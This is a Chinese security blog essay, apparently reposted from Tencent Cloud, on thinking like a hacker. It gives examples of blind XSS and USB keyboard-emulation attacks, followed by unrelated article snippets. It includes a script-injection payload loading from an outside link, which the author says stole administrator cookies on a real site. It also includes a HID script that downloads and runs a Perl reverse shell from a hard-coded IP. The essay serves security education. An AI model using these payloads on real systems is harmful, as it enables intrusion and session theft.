当前位置: 首页 > 编程日记 > 正文

【黑客浅析】像黑客一样思考

欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~

作者:由云鼎实验室发表在云+社区

网络安全里经常说的一句话是未知攻焉知防,基本所有的安全人员也是一名黑客,在黑客攻击愈发普遍的今天,如何更好的防御黑客攻击?用句带有点哲学的话,成为黑客,只有成为黑客,像黑客一样思考,你才能知道从哪去防御黑客;很俗的一句话,但很实在!

看到了什么?

看到上图的第一直觉,你可以自己想下答案,问问自己看到了什么?

正常的思维,第一直观感受是中间那个很明显,很大的黑点,因为这个黑点最吸引大家的注意力,稍微看过一些哲学故事的同学可能会想到黑点周围白色的区域,是的,黑点只是其中一个小点,而黑点周围白色的部分则足够大;但是,我不知道有没有人的答案是白色再外面?文章区域再外面?或者整个浏览器?整个电脑屏幕?电脑外呢?其实想表达的也正是黑客的思维里,永远不是局限于可以看到的部分,而在于能够想到或者没想到的所有面。

其实这类同于攻击面!安全是木桶短板原理,木桶能装多少水不在于最长的那块板,而是最短的那块;而一个系统的安全程度不取决于安全做的多全,做的多高大上,而在于是否把那些最简单的问题处理掉?数据告诉我们,服务器入侵,除了漏洞之外最大途径是弱口令,而这就是一个根本没多少技术含量的方式,属于安全基线问题,就是同样的道理。对于黑客而言,攻击面不会局限于能够看到的点,而在于所有可能关联或者没关联的面,就比如渗透测试或者说APT,很多时候结合社工这个点能够取得很好的效果,成为一个绝佳的入侵渠道。所以,第一点,学会放开自己的思维与想象,发现和关注平时所容易忽略和没有看到的地方。

什么是黑客?

什么是黑客?我用八个字总结,突破创造,守正出奇。在我看来,黑客永远不是一个贬义词,黑客本身就是极客,对于黑客来说,这个世界充满好奇,这个世界有太多的东西可以探索,特别是网络的世界。

黑客是一个追求自由的群体,不喜欢受到条条框框的约束,总是喜欢突破这一切,突破同时也可能是一种创造,创造新的方法,新的方式,新的工具,新的东西,就比如上图,小学课本里的乌鸦喝水,在我们看来是一种很傻的行为,但未尝不是一种稳定传统的方式?在生活中很多的事不也正如此?或者说就网络上很多安全的措施有时候也是稳定起见,因为新的东西除了先进,有时候也会带来风险。而对于黑客来说,可能考虑的更不是这些,而是尝试,好奇一切。

对于黑客而言,也有自己的黑客精神,有自己要坚持和秉承的东西(地下黑客的原则可能不同于正常黑客),这就是守正,自由、共享、平等、互助;在Web安全的世界里,我们经常会提到一个词"猥琐",或者说不仅限于Web安全,因为很多时候攻击的产生不是利用一个多厉害的漏洞,而在于猥琐的思路,几个定义为低危的小漏洞的组合也许威力比一个高危漏洞还大,这就取决于漏洞的组合使用,利用思路;这些"猥琐行为"就是一种出奇的表现。

了解黑客,成为黑客,才能更好的学会黑客的思考。

看到框就想X

这是一个意见反馈的界面,看到这样一个界面,大家会怎么做?对于普通人来说,这就是一个正常的意见提交框,用处就是提交反馈内容;大家想想黑客会怎么做?提交攻击代码,比如下面的代码:

</textarea>'"><script src=http://t.cn/R63bUP9></script>

实际上,当时看到这样一个功能,我就这样做了。这是360手游客服中心手机版的一个页面,可以提交反馈意见,我当时就直接提交了上面的攻击代码,然后就攻击成功了(这其实是一次XSS盲打,什么是XSS盲打大家可以自行搜索或者看我之前发的文章)。由于这样的功能往往看反馈内容的都是系统的相关管理员,于是被攻击成功的也是管理员,通过XSS盲打可以直接拿到管理员登录的账号的Cookie等信息(下图就是盲打平台中收到的攻击成功返回的后台地址和管理员Cookie)。

当然,不仅限于这个页面,还有其他的:

这种行为总结而言,就是"看到框就想X",这里的X也就是XSS的意思;其实这更多的是一种习惯和意识,在黑客的想法里,看到功能首先想到的不是使用,而是能不能利用,然后由于攻击做的多了,看到不同的功能和应用页面,自然就能意识到可能存在的问题,自然而然的就会去测试;经常会有很多人问,那些人在各种SRC提交的漏洞都是怎么挖的,是不是有神器?但是也不是每个人的安全测试工具都是神器啊!其实很多时候是在使用中发现漏洞!

不同的潜意识行为和想法,取决于不同的知识面和经验,也取决于不同的目的。

功能也是攻击方式

如果手机没电了,那么旁边如果其他人正好有电脑,借用其他人电脑的USB口给手机充电是一件很常见的事,但其实,只是插个数据线,也可以导致电脑被攻击,下面视频演示的是一部手机通过USB连接MAC电脑执行指定的命令(视频里是ifconfig)。

https://v.qq.com/x/page/q03959yfsxh.html

视频里的手机是一个很普通的手机,安装了一个叫做"Nethunter"的黑客操作系统,也就成为"黑客手机",里面集成了一些黑客攻击工具,比如视频里演示的工具叫做DuckHunter HID。看到这个视频,大家是否会觉得这个攻击挺高端的,物理黑客攻击,但当我告诉大家原理之后,大家可能想到的就是"原来如此,这么简单"。

手机上显示的代码是:

CONTROL SPACE
STRING iterm
ENTERENTER
STRING
ifconfig
ENTER

看完这个代码不知道大家是否已经明白了攻击原理,熟悉MAC操作的同学可能知道CONTROL+SPACE其实是调起Spotlight,一个类似快捷启动的工具,然后输入iterm,就是查找iTerm,然后回车,打开iTerm后,再输入ifconfig,再回车,就完成了整个命令输入执行的过程;大家可以发现,这其实就是一个模拟键盘操作的过程,没错,上面视频演示的攻击原理就是模拟键盘操作,其实这时候的手机用USB接入电脑相其实就是把自己设置为键盘接入电脑,然后再直接模拟键盘操作进行攻击。

那么是否可以进行危害更大的攻击?比如反弹Shell?当然可以,改下代码即可:

CONTROL SPACE
STRING iterm 
ENTERENTER
STRING wget http://45.32.8.108/b.pl.txt -O /tmp/b.plSTRING perl /tmp/b.pl 反弹监听IP 监听端口 ENTER

采用下载一个Perl脚本来实现反弹Shell,如下面视频:

https://v.qq.com/x/page/f0395v8ez5e.html

讲这个例子的目的其实就是这部分的标题,功能也是攻击方式。在黑客的眼里,不是一定得使用漏洞,使用多高端的技巧,能达到攻击目的和效果的方式都是好的攻击方式,这些方式不局限于大家所了解的只是漏洞或者暴力破解等,而经常做的就是利用正常的功能来实现攻击,这种攻击因为使用的是常的功能,有时候反而更隐蔽;而类似的攻击方式,不在少数。

结语

其实,近几年来,大家对黑客的了解已经越来越多,黑客也越来越失去神秘,然后大家就会发现,他们其实也是生活中的普通人;而在黑夜中工作,有时更多的是因为那时候安静,做事效率高,或者是管理员不在线好做一些秘密的攻击和测试等,而不是所谓各种描述里的戴着衣帽,把自己包裹在黑暗中,不露出自己的真面目等。

其实黑客所不同于普通人的点,除了掌握的知识外,就是做事和思考的方式,仅此而已!

问答

什么是memcache漏洞?它又有什么样的影响?

相关阅读

【读家】专访Killer:计算机病毒大多没有技术含量

如何确保NFS服务安全

【黑客解析】黑客是如何实现数据库勒索的 ?


此文已由作者授权腾讯云+社区发布,转载请注明文章出处

原文链接:https://cloud.tencent.com/developer/article/1020492

相关文章:

Python的最佳学习方式

作者 | GENEVIEVE CARLTON译者 | 姜松浩责编 | 屠敏转载自 CSDN&#xff08;ID&#xff1a;CSDNNews&#xff09;以下为译文&#xff1a;如今想要学习 Python 的人拥有比以往更多的资源。但是&#xff0c;这也可能使筛选书籍、课程和其他 Python 资源变得相对困难。并不是每个人…

Android 系统启动过程

文章来源于网络&#xff0c;心得来源于整理。请尊重作者&#xff1a;http://hi.baidu.com/guoxiaoming/blog/item/24e9e9f8c9628f1fd9f9fd89.html/cmtid/7525d63fb437a6cd7c1e713bAndroid 系统启动过程Android 从系统启动有4个步骤: 1, init进程启动 2. Native服务启动 3.Syste…

【Qt】通过QtCreator源码学习Qt(七):插件管理类简介

一、名字空间:ExtensionSystem ExtensionSystem命名空间提供了属于核心插件系统的类。 ExtensionSystem包含插件管理器及其支持类,以及必须由插件提供者实现的IPlugin接口。 二、ExtensionSystem::PluginManager:插件主类 ExtensionSystem::PluginManager简介 三、Exten…

视频直播常见问题与解决办法汇总【系列二—直播截图】

2019独角兽企业重金招聘Python工程师标准>>> 摘要&#xff1a; 使用场景 用户常需要对视频直播的内容进行分析。例如&#xff0c;需要对直播中的某一帧的内容作为封面图片或者对于直播内容进行鉴黄以查看内容合法性等需求。因此&#xff0c;视频直播提供了实时截图功…

智能猫窝是如何诞生的?详解百度大脑的开放生态

3 月 20 日下午&#xff0c;首场百度大脑开放日在北京中关村创业大街百度大脑创新体验中心举行。百度 AI 技术生态部总经理喻友平&#xff0c;就百度大脑平台与生态进行了全面的详解&#xff0c;同时展示了百度大脑开放平台 Q1 核心升级内容&#xff0c;包括语音技术、视觉技术…

我都陪你坐了一天了,你好歹说句话啊!吖的,谱也忒大了。。。

我都陪你坐了一天了&#xff0c;你好歹说句话啊&#xff01;吖的&#xff0c;谱也忒大了。。。 查看图片 转载于:https://blog.51cto.com/guohongzhi521/552922

【linux】Linux下LCD自动熄屏解决方法

1、原因分析 参考博客&#xff1a; https://blog.csdn.net/BOJUE01/article/details/53468026?locationNum5&fps1 https://blog.csdn.net/mao0514/article/details/46562057 正常情况下Linux会在一段时间后默认关闭屏幕&#xff0c;默认为10分钟。开始一直认为是Gnome或K…

翻译机之后,搜狗再推智能硬件产品录音笔

去年 10 月&#xff0c;搜狗 AI 事业部总经理张博告诉 AI科技大本营&#xff08;ID:rgznai100&#xff09;&#xff0c;翻译机只是搜狗做智能硬件的开始&#xff0c;接下里半年里&#xff0c;他们还将发布数款集成了搜狗 AI 技术的硬件产品。 3 月 18 日&#xff0c;搜狗举办了…

小米正用时序数据库,解决这个“硬核”问题

参加 2019 Python开发者日&#xff0c;请扫码咨询 ↑↑↑作者 | 许俊红来源 | 小米云技术&#xff08;id&#xff1a;mi-cloud-tech&#xff09;时序数据根据维基百科的定义[1]&#xff0c;时间序列是一组按照时间发生先后顺序进行排列的数据点序列。时序数据库&#xff08;Tim…

【Qt】通过QtCreator源码学习Qt(八):插件生命周期及对应状态(代码走读)

1、简介 PluginManager管理插件IPlugin的生命周期,从初始化插件到删除插件共八个状态。插件状态表——PluginSpec::enum State { Invalid, Read, Resolved, Loaded, Initialized, Running, Stopped, Deleted}; 插件IPlugin的状态记录在与插件对应的插件说明PluginSpec中,状态…

第七课 环境变量PATH,cp、mv及查看文档cat/more/less/head/tail命令

一、环境变量&#xff08;PATH&#xff09;echo $PATH 查看环境变量的目录PATH$PATH:/tmp/ &#xff08;目录&#xff09;给一个目录赋值环境变量&#xff1b; 让以上环境变量永久生效&#xff1a; 编辑 vi /etc/profile/ 把以上参数加入到文本的最后&#xff0c;退出&#x…

asp.net获取页面url参数值的实现代码实例

asp.net获取页面url参数值的实现代码实例 file: default.aspx.cs using system; using system.data; using system.configuration; using system.collections; using system.web; using system.web.security; using system.web.ui; using system.web.ui.webcontrols; using sys…

【Qt】编译QtCreator

一、Ubuntu14.04编译QtCreator 4.0.3 1、准备工作 编译工具要求 Qt >= 5.5.0; g++ >= 4.7; 2、编译步骤 cd <QtCreator源码目录> qmake -r make 3、安装 make install INSTALL_ROOT=<指定目录> 二、Win10编译QtCreator 4.7.1 1、准备工作 编译工具…

Go Pro 半小时上手指南

Jack刚买了台Go Pro 6&#xff0c;商品包装内没有说明书&#xff0c;希望尽快拍那种慢动作或者酷炫的照片&#xff0c;去网上看了些贴都是注重结果&#xff0c;很少讲具体设置或技巧&#xff0c;光靠自己研究什么时候才能入门&#xff1f;《Go Pro 半小时上手指南》为你解决这些…

出身清华,大神朱俊彦再出GauGAN:AI让你变身神笔马良

参加 2019 Python开发者日&#xff0c;请扫码咨询 ↑↑↑作者 | Just出品 | AI科技大本营&#xff08;ID:rgznai 100&#xff09;一次 TED 演讲中&#xff0c;前锤子科技设计总监罗子雄分享如何入门学设计的经验。要想学好设计&#xff0c;他提醒观众要先看基础实例教程。由于互…

delphi中的第三方控件如何安装 (转)

最佳答案 由于组件提供的方式不同&#xff0c;所以安装的方法也是不一样的&#xff0c;下面就目前常见的各种形式的组 件的安装方法介绍一下。 1只有一个DCU文件的组件。DCU文件是编译好的单元文件&#xff0c;这样的组件是作者不想把源码公 布。一般来说&#xff0c;作…

【Qt】Qt中使用ssl时报错:qt.network.ssl: QSslSocket: cannot resolve SSLv2_client_method

一、问题 在Qt中使用https,运行时报错: qt.network.ssl: QSslSocket: cannot resolve SSLv2_client_method二、原因分析 SSLv2由于某些漏洞导致的不安全原因, 在某些linux发行版里的openssl库禁用掉了SSLv2 三、解决办法 重新编译openssl 1、下载openssl git clone …

渡鸦创始人离职百度后的下一个“真相”

参加 2019 Python开发者日&#xff0c;请扫码咨询 ↑↑↑作者 | 琥珀出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;一直以来&#xff0c;渡鸦科技被外界看做是百度一次失败的收购。彼时彼刻&#xff0c;国内外智能音箱市场成为最火爆的兵家必争之地。渡鸦创始人、原…

QuickBI助你成为分析师——数据源FAQ小结

摘要&#xff1a; 添加数据源的时候经常会遇到各种问题&#xff0c;下面来讲解一下常见情况&#xff0c;若仍有疑问扫码咨询哦&#xff01;使用 Quick BI 分析数据时&#xff0c;需要先指定原始数据所在的数据源&#xff0c;测试连通数据源是数据分析的基础&#xff0c;下面让我…

HTML5 学习笔记(一)- video

直到现在&#xff0c;仍然没有一项可以让网页上显示视频的标准。大多数的视频都是通过插件&#xff08;如Flash&#xff09;来实现播放的&#xff0c;但是并不是所有的浏览器拥有同样的插件。 而伟大的HTML5规定了一个元素<video>来实现这种功能。 <video>支持Ogg、…

【Qt】通过QtCreator源码学习Qt(九):容器算法总结

一、简介 本节总结QtCreator中封装的容器算法接口,源码文件的路径src/libs/utils/algorithm.h。 算法接口包括:判断、查找、删除、统计、排序、转换、拆分、过滤 二、算法源码讲解 1、判断 Utils::anyOf、Utils::allOf Utils::anyOf如果容器中有任一符合条件的元素,则返…

今晚8点直播 | 详解聊天机器人落地及进阶实战

近年来&#xff0c;聊天机器人技术及产品得到了快速的发展。聊天机器人作为人工智能技术的杀手级应用&#xff0c;发展得如火如荼&#xff0c;各种智能硬件层出不穷。本次公开课中&#xff0c;AI科技大本营联合电子工业出版社博文视点邀请到上海瓦歌智能科技有限公司总经理&…

webpack源码之tapable

引言 去年3月的时候当时写了一篇webpack2-update之路,到今天webpack已经到了4.2,更新挺快的,功能也在不断的完善,webpack4特性之一就是零配置, webpack生命力真的很顽强,积极跟上环境的变化,响应社区的需求,不断的迭代,因为parcel在其之前就有这个特性了。直接运行webpack命令,…

常用的 linux命令

为什么80%的码农都做不了架构师&#xff1f;>>> 将目录dir1复制成目录dir2 cp -R file1 file2 同时将文件file1、file2、file3与目录dir1复制到dir2 cp -R file1 file2 file3 dir1 dir2 mv dir1 dir2 移动或修改目录名称 rm -rf 删除文件&目录 vi :q! :wq mk…

68款大规模机器学习数据集,涵盖CV、语音、NLP | 十年资源集

参加 2019 Python开发者日&#xff0c;请扫码咨询 ↑↑↑作者 | 琥珀出品 | AI科技大本营&#xff08;ID:rgznai100&#xff09;此前营长为大家分享过不少机器学习相关数据集的资源&#xff0c;例如 Mozilla 的 1400 小时开源语音数据集&#xff1b;ApolloScape 的大规模自动驾…

【Qt】Q_PROPERTY():属性系统

一、简介 Qt属性系统基于元对象Meta-Object系统,因此在使用时,需要继承QObject类并添加宏Q_OBJECT,属性除了具有类成员的功能外,还可以通过元对象系统访问,比如可以使用信号和槽机制。 二、使用方法 在继承QObject的类中,使用宏Q_PROPERTY()来注册属性。 Q_PROPERTY(…

从零开始学 Python 之运算符

从零开始学 Python 之运算符 前言 大家好&#xff0c;这里是「痴海」从零开始学习 Python 系列教程。此文首发于「痴海」公众号&#xff0c;欢迎大家去关注。学习一门语言最好的办法&#xff0c;就是教懂别人。在这公众号&#xff0c;我会从 Python 最基础的教程写起&#xff0…

今天照了大肚照

今天陪老婆去照了大肚照&#xff0c;本来累了一周了好不容易盼到周六想睡个懒觉&#xff0c;结果比平时起床还早&#xff01;要去照相&#xff01;然而一想到俺家小小&#xff0c;我就很激动&#xff0c;为了俺家小小&#xff0c;我一定加倍努力&#xff0c;做一个好爸爸。 …

【Qt】QT_BEGIN_NAMESPACE 和 QT_END_NAMESPACE

在看QtCreator源码时,总遇到QT_BEGIN_NAMESPACE 和 QT_END_NAMESPACE两个宏,源码中对这两个宏的定义伪代码如下 #if !defined(QT_NAMESPACE) # define QT_BEGIN_NAMESPACE # define QT_END_NAMESPACE #else # define QT_BEGIN_NAMESPACE namespace QT_NAMESPACE {# define Q…

Java排序算法:冒泡排序

Java排序算法&#xff1a;冒泡排序//创建数组并赋值int[] data new int[] {11,10,55,78,100,111,45,56,79,90,345,1000};for(int i0;i < arr.length-1;i){for(int j 0; j < arr.length-i-1;j){if(arr[j] > arr[j1]){int temp arr[j];arr[j] arr[j1];arr[j1] temp;…